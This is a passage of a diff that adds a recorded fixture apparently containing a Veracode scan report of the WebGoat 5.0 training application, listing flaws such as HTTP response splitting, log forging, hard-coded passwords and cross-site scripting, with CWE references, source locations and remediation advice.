+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/113.html)
+        \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting) \r\nWASC
+        (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\" note=\"\"
+        cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"redirect_jsp.java\"
+        line=\"43\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/General/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.General.redirect_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"62\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of CRLF Sequences in
+        HTTP Headers ('HTTP Response Splitting')\" count=\"1\" issueid=\"170\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() contains an HTTP
+        response splitting flaw. Writing unsanitized user-supplied input into an HTTP
+        header allows an attacker to manipulate the HTTP response rendered by the
+        browser, to inject additional headers or an entire response body into the
+        response stream. Injecting headers can be used to trick various security mechanisms
+        in browsers into allowing XSS style attacks. Injecting entire response bodies
+        can not only cause XSS attacks to succeed but may even poison the cache of
+        any intermediary proxies between the clients and the application server. The
+        first argument to addCookie() contains tainted data from the variable cookies.
+        The tainted data originated from an earlier call to javax.servlet.http.HttpServletRequest.getCookies.\r\n\r\nEscape,
+        encode, or remove carriage return and line feed characters from user-supplied
+        data before inclusion in HTTP response headers. Whenever possible, use a security
+        library such as ESAPI that provides safe versions of addHeader(), etc. that
+        will automatically remove unexpected carriage returns and line feeds and can
+        be configured to use HTML entity encoding for non-alphanumeric data. Only
+        write custom blacklisting code when absolutely necessary. Always validate
+        user-supplied input to ensure that it conforms to the expected format, using
+        centralized data validation routines when possible.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/113.html) \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting)
+        \r\nWASC (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\"
+        note=\"\" cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WebSession.java\"
+        line=\"335\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.WebSession\"
+        functionprototype=\"void eatCookies()\" functionrelativelocation=\"79\"/>\n</staticflaws>\n</cwe>\n<cwe
+        cweid=\"117\" cwename=\"Improper Output Neutralization for Logs\" pcirelated=\"false\"
+        owasp=\"929\">\n<description>\n<text text=\"A function call could result in
+        a log forging attack.  Writing unsanitized user-supplied data into a log file
+        allows an attacker to forge log entries or inject malicious content into log
+        files.  Corrupted log files can be used to cover an attacker's tracks or as
+        a delivery mechanism for an attack on a log viewing or processing utility.
+        \ For example, if a web administrator uses a browser-based utility to review
+        logs, a cross-site scripting attack might be possible.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Improper Output Neutralization for Logs\" count=\"1\"
+        issueid=\"214\" module=\"WebGoat-5.0-with-jsp.war\" type=\"javax.servlet.GenericServlet.log\"
+        description=\"This call to javax.servlet.GenericServlet.log() could result
+        in a log forging attack. Writing unsanitized user-supplied data into a log
+        file allows an attacker to forge log entries or inject malicious content into
+        log files. Corrupted log files can be used to cover an attacker's tracks or
+        as a delivery mechanism for an attack on a log viewing or processing utility.
+        For example, if a web administrator uses a browser-based utility to review
+        logs, a cross-site scripting attack might be possible. The first argument
+        to log() contains tainted data from the variable output. The tainted data
+        originated from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid
+        directly embedding user input in log files when possible. Sanitize user-supplied
+        data used to construct log entries by using a safe logging mechanism such
+        as the OWASP ESAPI Logger, which will automatically remove unexpected carriage
+        returns and line feeds and can be configured to use HTML entity encoding for
+        non-alphanumeric data. Only write custom blacklisting code when absolutely
+        necessary. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/117.html) \r\nOWASP (http://www.owasp.org/index.php/Log_injection)
+        \r\nWASC (http://webappsec.pbworks.com/Improper-Output-Handling)\r\n\r\n\"
+        note=\"\" cweid=\"117\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"npp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"HammerHead.java\"
+        line=\"306\" sourcefilepath=\"org/owasp/webgoat/\" scope=\"org.owasp.webgoat.HammerHead\"
+        functionprototype=\"void log(javax.servlet.http.HttpServletRequest, java.lang.String)\"
+        functionrelativelocation=\"84\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"17\" categoryname=\"Code Quality\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Code quality issues stem from failure to follow good coding practices
+        and can lead to unpredictable behavior. These may include but are not limited
+        to:\">\n<bulletitem text=\"Neglecting to remove debug code or dead code\"/>\n<bulletitem
+        text=\"Improper resource management, such as using a pointer after it has
+        been freed\"/>\n<bulletitem text=\"Using the incorrect operator to compare
+        objects\"/>\n<bulletitem text=\"Failing to follow an API or framework specification\"/>\n<bulletitem
+        text=\"Using a language feature or API in an unintended manner\"/>\n</para>\n<para
+        text=\"While code quality flaws are generally less severe than other categories
+        and usually are not directly exploitable, they may serve as indicators that
+        developers are not following practices that increase the reliability and security
+        of an application.  For an attacker, code quality issues may provide an opportunity
+        to stress the application in unexpected ways.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"The wide variance of code quality issues makes it impractical to generalize
+        how these issues should be addressed.  Refer to individual categories for
+        specific recommendations. \"/>\n</recommendations>\n<cwe cweid=\"489\" cwename=\"Leftover
+        Debug Code\" pcirelated=\"false\">\n<description>\n<text text=\"A method may
+        be leftover debug code that creates an unintended entry point in a web application.
+        \ Although this is an acceptable practice during product development, classes
+        that are part of a production J2EE application should not define a main()
+        method.  Whether this method can be remotely invoked depends on the configuration
+        of the J2EE container and the application itself.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Leftover Debug Code\" count=\"1\" issueid=\"70\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"main\" description=\"The main()
+        method may be leftover debug code that creates an unintended entry point in
+        a web application. Although this is an acceptable practice during product
+        development, classes that are part of a production J2EE application should
+        not define a main() method. Whether this method can be remotely invoked depends
+        on the configuration of the J2EE container and the application itself.\r\n\r\nEliminate
+        unnecessary entry points in deployed web applications to reduce the attack
+        surface. Ensure that this is not a backdoor disguised as debugging functionality.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/489.html)\r\n\r\n\" note=\"\"
+        cweid=\"489\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"CreateDB.java\"
+        line=\"53\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.CreateDB\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"0\"/>\n<flaw
+        severity=\"3\" categoryname=\"Leftover Debug Code\" count=\"1\" issueid=\"42\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"main\" description=\"The main()
+        method may be leftover debug code that creates an unintended entry point in
+        a web application. Although this is an acceptable practice during product
+        development, classes that are part of a production J2EE application should
+        not define a main() method. Whether this method can be remotely invoked depends
+        on the configuration of the J2EE container and the application itself.\r\n\r\nEliminate
+        unnecessary entry points in deployed web applications to reduce the attack
+        surface. Ensure that this is not a backdoor disguised as debugging functionality.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/489.html)\r\n\r\n\" note=\"\"
+        cweid=\"489\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Encoding.java\"
+        line=\"744\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.Encoding\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"0\"/>\n<flaw
+        severity=\"3\" categoryname=\"Leftover Debug Code\" count=\"1\" issueid=\"243\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"main\" description=\"The main()
+        method may be leftover debug code that creates an unintended entry point in
+        a web application. Although this is an acceptable practice during product
+        development, classes that are part of a production J2EE application should
+        not define a main() method. Whether this method can be remotely invoked depends
+        on the configuration of the J2EE container and the application itself.\r\n\r\nEliminate
+        unnecessary entry points in deployed web applications to reduce the attack
+        surface. Ensure that this is not a backdoor disguised as debugging functionality.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/489.html)\r\n\r\n\" note=\"\"
+        cweid=\"489\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Exec.java\"
+        line=\"505\" sourcefilepath=\"org/owasp/webgoat/util/\" scope=\"org.owasp.webgoat.util.Exec\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"0\"/>\n<flaw
+        severity=\"3\" categoryname=\"Leftover Debug Code\" count=\"1\" issueid=\"133\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"main\" description=\"The main()
+        method may be leftover debug code that creates an unintended entry point in
+        a web application. Although this is an acceptable practice during product
+        development, classes that are part of a production J2EE application should
+        not define a main() method. Whether this method can be remotely invoked depends
+        on the configuration of the J2EE container and the application itself.\r\n\r\nEliminate
+        unnecessary entry points in deployed web applications to reduce the attack
+        surface. Ensure that this is not a backdoor disguised as debugging functionality.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/489.html)\r\n\r\n\" note=\"\"
+        cweid=\"489\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WebgoatProperties.java\"
+        line=\"114\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.WebgoatProperties\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"0\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"10\" categoryname=\"Credentials Management\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Improper management of credentials, such as usernames and passwords,
+        may compromise system security.  In particular, storing passwords in plaintext
+        or hard-coding passwords directly into application code are design issues
+        that cannot be easily remedied.  Not only does embedding a password allow
+        all of the project's developers to view the password, it also makes fixing
+        the problem extremely difficult.  Once the code is in production, the password
+        cannot be changed without patching the software.  If a hard-coded password
+        is compromised in a commercial product, all deployed instances may be vulnerable
+        to attack, putting customers at risk.\"/>\n<para text=\"One variation on hard-coding
+        plaintext passwords is to hard-code a constant string which is the result
+        of a cryptographic one-way hash.  For example, instead of storing the word
+        &quot;secret,&quot; the application stores an MD5 hash of the word.  This
+        is a common mechanism for obscuring hard-coded passwords from casual viewing
+        but does not significantly reduce risk.  However, using cryptographic hashes
+        for data stored outside the application code can be an effective practice.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Avoid storing passwords in easily accessible locations, and never store
+        any type of sensitive data in plaintext.  Avoid using hard-coded usernames,
+        passwords, or hash constants whenever possible, particularly in relation to
+        security-critical components.   Store passwords out-of-band from the application
+        code.  Follow best practices for protecting credentials stored in alternate
+        locations such as configuration or properties files.\"/>\n</recommendations>\n<cwe
+        cweid=\"256\" cwename=\"Plaintext Storage of a Password\" pcirelated=\"false\"
+        owasp=\"930\">\n<description>\n<text text=\"A method reads and/or stores sensitive
+        information in plaintext, making the data more susceptible to compromise.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Plaintext Storage of a Password\" count=\"1\"
+        issueid=\"223\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"The java.sql.DriverManager.getConnection() method reads and/or
+        stores sensitive information in plaintext, making the data more susceptible
+        to compromise.\r\n\r\nNever store sensitive data in plaintext. Consider using
+        cryptographic hashes as an alternative to plaintext.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/256.html)\r\n\r\n\" note=\"\" cweid=\"256\"
+        remediationeffort=\"4\" exploitLevel=\"0\" categoryid=\"10\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DatabaseUtilities.java\"
+        line=\"97\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.DatabaseUtilities\"
+        functionprototype=\"java.sql.Connection makeConnection(void)\" functionrelativelocation=\"72\"/>\n</staticflaws>\n</cwe>\n<cwe
+        cweid=\"259\" cwename=\"Use of Hard-coded Password\" pcirelated=\"false\"
+        owasp=\"930\" sans=\"798\" certjava=\"861\">\n<description>\n<text text=\"A
+        method uses a hard-coded password that may compromise system security in a
+        way that cannot be easily remedied.  The use of a hard-coded password significantly
+        increases the possibility that the account being protected will be compromised.
+        \ Moreover, the password cannot be changed without patching the software.
+        \ If a hard-coded password is compromised in a commercial product, all deployed
+        instances may be vulnerable to attack.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Use of Hard-coded Password\" count=\"1\" issueid=\"28\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"The java.sql.DriverManager.getConnection() method uses a hard-coded
+        password that may compromise system security in a way that cannot be easily
+        remedied. The use of a hard-coded password significantly increases the possibility
+        that the account being protected will be compromised. Moreover, the password
+        cannot be changed without patching the software. If a hard-coded password
+        is compromised in a commercial product, all deployed instances may be vulnerable
+        to attack.\r\n\r\nStore passwords out-of-band from the application code. Follow
+        best practices for protecting credentials stored in locations such as configuration
+        or properties files.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/259.html)\r\n\r\n\"
+        note=\"\" cweid=\"259\" remediationeffort=\"4\" exploitLevel=\"1\" categoryid=\"10\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"CreateDB.java\"
+        line=\"69\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.CreateDB\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"16\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"20\" categoryname=\"Cross-Site Scripting\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Cross-site scripting (XSS) attacks occur when an attacker uses a web
+        application to send malicious code, generally in the form of a browser side
+        script, to a different end user. Flaws that allow these attacks to succeed
+        occur whenever a web application uses untrusted data in the output it generates
+        without validating or encoding it.  XSS vulnerabilities are commonly exploited
+        to steal or manipulate cookies, modify presentation of content, and compromise
+        sensitive information, with new attack vectors being discovered on a regular
+        basis.  XSS is also commonly referred to as HTML injection.\"/>\n<para text=\"XSS
+        vulnerabilities can be either persistent or transient (often referred to as
+        stored and reflected, respectively).  In a persistent XSS vulnerability, the
+        injected code is stored by the application, for example within a blog comment
+        or message board.  The attack occurs whenever a victim views the page containing
+        the malicious script.  In a transient XSS vulnerability, the injected code
+        is included directly in the HTTP request.  These attacks are often carried
+        out via malicious URLs sent via email or another website and requires the
+        victim to browse to that link.  The consequence of an XSS attack to a victim
+        is the same regardless of whether it is persistent or transient; however,
+        persistent XSS vulnerabilities are likely to affect a greater number of victims
+        due to its delivery mechanism.\"/>\n</desc>\n<recommendations>\n<para text=\"Several
+        techniques can be used to prevent XSS attacks. These techniques complement
+        each other and address security at different points in the application. Using
+        multiple techniques provides defense-in-depth and minimizes the likelihood
+        of a XSS vulnerability.\">\n<bulletitem text=\"Use output filtering to sanitize
+        all output generated from user-supplied input, selecting the appropriate method
+        of encoding based on the use case of the untrusted data.  For example, if
+        the data is being written to the body of an HTML page, use HTML entity encoding.
+        \ However, if the data is being used to construct generated Javascript or
+        if it is consumed by client-side methods that may interpret it as code (a
+        common technique in Web 2.0 applications), additional restrictions may be
+        necessary beyond simple HTML encoding.\"/>\n<bulletitem text=\"Validate user-supplied
+        input using positive filters (white lists) to ensure that it conforms to the
+        expected format, using centralized data validation routines when possible.
+        \"/>\n<bulletitem text=\"Do not permit users to include HTML content in posts,
+        notes, or other data that will be displayed by the application.  If users
+        are permitted to include HTML tags, then carefully limit access to specific
+        elements or attributes, and use strict validation filters to prevent abuse.\"/>\n</para>\n</recommendations>\n<cwe
+        cweid=\"83\" cwename=\"Improper Neutralization of Script in Attributes in
+        a Web Page\" pcirelated=\"false\" owasp=\"931\">\n<description>\n<text text=\"The
+        application does not filter text or other data for potentially malicious HTML
+        content. This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\"/>\n</description>\n<dynamicflaws>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"277\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/attack\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"278\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/css/menu.css\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"279\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/images/logos/owasp.jpg\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"280\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/javascript/javascript.js\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"281\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lesson_solutions/CommandInjection_files/image005.png\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"284\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lesson_solutions/formate.css\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"282\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
